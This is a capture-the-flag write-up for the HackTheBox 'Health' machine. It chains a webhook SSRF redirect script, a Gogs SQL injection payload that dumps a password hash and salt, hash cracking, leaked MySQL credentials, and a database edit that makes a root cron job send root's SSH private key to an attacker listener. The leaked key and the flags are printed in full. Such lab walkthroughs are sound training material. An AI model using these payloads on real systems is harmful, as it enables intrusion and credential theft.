![](/images/HTB/health/health_card.png)
Health machine on HackTheBox, submitted by irogir. The machine starts with a web server that allows us to create webhooks that we will leverage and redirect the hook to an internal service vulnerable to SQLI, exposing user's credentials and gaining access to the machine. After that, we'll discover some root-run cron tabs that bind webhooks and a laravel database whose credentials are leaked in the configuration files, allowing us to read root's id_rsa.
Reconnaissance
Port-Scan
As always let's start with a port scan, we only have port 22 and 80 open, also 3000 filtered, this one seems interesting, but there really isn't much, let's take a look at the web
![](/images/HTB/health/nmap.png)
Port 80: WebHook
As we can see it's a page where we can set a webhook, since port 3000 of the machine is filtered, we can write a script to redirect the request to its localhost and see what's in it
![](/images/HTB/health/web.png)
Foothold
Setting Up SSRF with Port 3000
We are going to set up a listener with netcat that will serve as a hook and where the content of port 3000 will arrive as payload, since we are going to redirect the request to it.
#!/usr/bin/ruby
require 'webrick'
class RedirectServlet < WEBrick::HTTPServlet::AbstractServlet
def do_GET(request, response)
response.status = 302
response['Location'] = ARGV[0]
end
end
server = WEBrick::HTTPServer.new(:Port => 80)
server.mount '/', RedirectServlet
trap 'INT' do server.shutdown end
server.start
Let's leave the script running and netcat listening
❯ sudo ruby redirect.rb http://127.0.0.1:3000/
[2022-12-30 16:36:42] INFO WEBrick 1.6.1
[2022-12-30 16:36:42] INFO ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-12-30 16:36:42] INFO WEBrick::HTTPServer#start: pid=154477 port=80
❯ sudo nc -nlvp 9001 > test
listening on [any] 9001 ...
Testing the WebHook
Now we are going to test the webhook
![](/images/HTB/health/hook.png)
It should hit our server and we should receive the data via netcat
❯ sudo ruby redirect.rb http://127.0.0.1:3000/
[2022-12-30 16:36:42] INFO WEBrick 1.6.1
[2022-12-30 16:36:42] INFO ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-12-30 16:36:42] INFO WEBrick::HTTPServer#start: pid=154477 port=80
10.10.11.176 - - [30/Dec/2022:16:38:16 EST] "GET / HTTP/1.0" 302 0
- -> /
❯ sudo nc -nlvp 9001 > test
listening on [any] 9001 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.176] 55652
GOGS Enumeration
Once we format the data, we can see that it's running gogs
![](/images/HTB/health/gogs.png)
Searching a bit with searchsploit we find a sqli, and a poc, let's try it making another webhook.
❯ searchsploit gogs
----------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------- ---------------------------------
Gogs - 'label' SQL Injection | multiple/webapps/35237.txt
Gogs - 'users'/'repos' '?q' SQL Injection | multiple/webapps/35238.txt
----------------------------------------------------------------------------------------------------------------- ---------------------------------
❯ searchsploit gogs -x 35238
<................................>
Proof of Concept
================
Request:
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09
(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09
user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)
%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09
as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as
%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09
a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09
JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN
%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN
%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN
%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN
%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN
%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27
<................................>
Exploiting Gogs with SQL Injection
Retrieving User Credentials
Once we repeat the process we should get more data
❯ sudo ruby redirect.rb "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/passwd/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--"
[2022-12-30 18:32:04] INFO WEBrick 1.6.1
[2022-12-30 18:32:04] INFO ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-12-30 18:32:04] INFO WEBrick::HTTPServer#start: pid=224013 port=80
10.10.11.176 - - [30/Dec/2022:18:32:31 EST] "GET / HTTP/1.0" 302 0
- -> /
❯ sudo nc -nlvp 9001 > psswd
listening on [any] 9001 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.176] 36982
And we get a username and password, let's get the salt
❯ cat psswd | tail -n1 | jq
{
<..........................................>
"body": "{\"data\":[{\"username\":\"susanne\",\"avatar\":\"//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce\"},{\"username\":\"66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37\",\"avatar\":\"//1.gravatar.com/avatar/1\"}],\"ok\":true}",
<..........................................>
}
Once we repeat the process again we obtain the salt
❯ sudo ruby redirect.rb "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/salt/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--"
[2022-12-30 18:32:04] INFO WEBrick 1.6.1
[2022-12-30 18:32:04] INFO ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-12-30 18:32:04] INFO WEBrick::HTTPServer#start: pid=224013 port=80
10.10.11.176 - - [30/Dec/2022:18:32:31 EST] "GET / HTTP/1.0" 302 0
- -> /
❯ sudo nc -nlvp 9001 > salt
listening on [any] 9001 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.176] 36982
❯ cat salt | tail -n1 | jq
<..........................................>
{
"body": "{\"data\":[{\"username\":\"susanne\",\"avatar\":\"//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce\"},{\"username\":\"sO3XIbeW14\",\"avatar\":\"//1.gravatar.com/avatar/1\"}],\"ok\":true}",
}
<..........................................>
Cracking Password Hashes
So, since we have the password and salt, let's format it in a hashcat format, taking a look at the gogs source code we can see that it's a PBKDF2 hash, also we should convert the salt to base64
❯ echo 'sha256:10000:'$(echo 'sO3XIbeW14' | base64 | head -c 14; echo)':'$(echo '66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37' | xxd -r -p | base64)
sha256:1000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=
Let's crack it
❯ hashcat -O -m 10900 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
<...........................................................................>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344395
* Bytes.....: 139921684
* Keyspace..: 14344395
Approaching final keyspace - workload adjusted.
sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15
Session..........: hashcat
Status...........: Cracked
Hash.Name........: PBKDF2-HMAC-SHA256
Hash.Target......: sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9...9O/jc=
Time.Started.....: Tue Nov 1 22:44:51 2022 (20 secs)
Time.Estimated...: Tue Nov 1 22:45:11 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 790.9 kH/s (0.81ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 14344395/14344395 (100.00%)
Rejected.........: 6538/14344395 (0.05%)
Restore.Point....: 14343560/14344395 (99.99%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: !!anthony!!
Started: Tue Nov 1 22:44:03 2022
Stopped: Tue Nov 1 22:44:42 2022
SSH Access
Now we can connect via ssh and read the first flag
❯ ssh susanne@10.10.11.176
susanne@10.10.11.176's password: february15
susanne@health:~$ cat user.txt
0c3cbd1c91db1aa4096bb4a60b810b6f
susanne@health:~$
Privilege Escalation
Exploring Scheduled Tasks
Snooping around we find some interesting tasks
UID=0 PID=4732 | mysql laravel --execute TRUNCATE tasks
UID=0 PID=4736 | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
UID=0 PID=4735 | /bin/bash -c sleep 5 && /root/meta/clean.sh
UID=0 PID=4738 | php artisan schedule:run
UID=0 PID=4745 | mysql laravel --execute TRUNCATE tasks
Finding MySQL Credentials
Also, we can find mysql creds in the web directory
susanne@health:/var/www/html$ cat ./.env
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+
susanne@health:/var/www/html$
Updating a Webhook to Access Root's id_rsa
As we saw earlier, the json return refers to the monitored URL, since the cron tabs listed above run as root, if we change it to point to root id_rsa we can gain access to it, we only have to create a webhook and modify it from the DB
susanne@health:/var/www/html/app/Http/Controllers$ cat HealthChecker.php
<..............................................................................>
public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
{
$json = [];
$json['webhookUrl'] = $webhookUrl;
$json['monitoredUrl'] = $monitoredUrl;
$res = @file_get_contents($monitoredUrl, false);
<..............................................................................>
Set the listener
❯ sudo nc -nlvp 80
listening on [any] 80 ...
And create the webhook
![](/images/HTB/health/webhook.png)
Now let's update the table
susanne@health:~$ mysql -D 'laravel' -u 'laravel' -p
Enter password: MYsql_strongestpass@2014+
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 400
Server version: 5.7.39-0ubuntu0.18.04.2 (Ubuntu)
mysql> update tasks set monitoredUrl='file:///root/.ssh/id_rsa';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
mysql>
Obtaining Root Access and Reading the Final Flag
And in a couple of minutes we get the ssh key
❯ sudo nc -lvnp 80
Listening on 0.0.0.0 80
Connection received on 10.10.11.176
POST / HTTP/1.1
Host: 10.10.14.10
Accept: */*
Content-type: application/json
Content-Length: 1835
Expect: 100-continue
{"webhookUrl":"http:\/\/10.10.14.10\/","monitoredUrl":"file:\/\/\/root\/.ssh\/id_rsa","health":"up","body":"-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9\/jG5NPqc2TfW4Nlj9gE\nKScDJTrF0vXYnIy4yUwM4\/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq\nIMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH\/\nKuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL\/XP1hN4B7egzjcV8Rphj6XRE3bhgH\n7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8\nW6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae\nNPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9\nt3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8\/v\/3Jeesznu+RJ+G0ezyUGfi0wpQRoD\nC2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI\/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl\nhnqFXpOWB771WnW9yH7\/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x\/LUyan++D+8\nefiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2\n1bLlZQECgYEA9iT13rdKQ\/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj\nnVhtw6NRFZ1Gfu21kPTCUTK34iX\/p\/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3\nsqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou\nfEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q\n0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ\nzkbVWX3JRDh4vdFOBGB\/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT\nrti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB\nN1ZI4E59+O3Z15VgZ\/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD\nSsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o\n++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp\nUnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR\/xkIP\/Mog1a\nvmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU\n6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC\/cQbPm\nQeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G\n-----END RSA PRIVATE KEY-----\n"}
Once we format it we can connect and read the final flag
❯ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9/jG5NPqc2TfW4Nlj9gE
KScDJTrF0vXYnIy4yUwM4/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq
IMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH/
KuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL/XP1hN4B7egzjcV8Rphj6XRE3bhgH
7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8
W6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae
NPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9
t3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8/v/3Jeesznu+RJ+G0ezyUGfi0wpQRoD
C2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl
hnqFXpOWB771WnW9yH7/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x/LUyan++D+8
efiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2
1bLlZQECgYEA9iT13rdKQ/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj
nVhtw6NRFZ1Gfu21kPTCUTK34iX/p/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3
sqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou
fEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q
0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ
zkbVWX3JRDh4vdFOBGB/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT
rti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB
N1ZI4E59+O3Z15VgZ/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD
SsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o
++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp
UnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR/xkIP/Mog1a
vmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU
6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC/cQbPm
QeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G
-----END RSA PRIVATE KEY-----
❯ chmod 600 id_rsa
❯ ssh -i id_rsa root@10.10.11.176
root@health:~# cat root.txt
ceadf881e3fe73ccfb6f7248ec438ea4
root@health:~#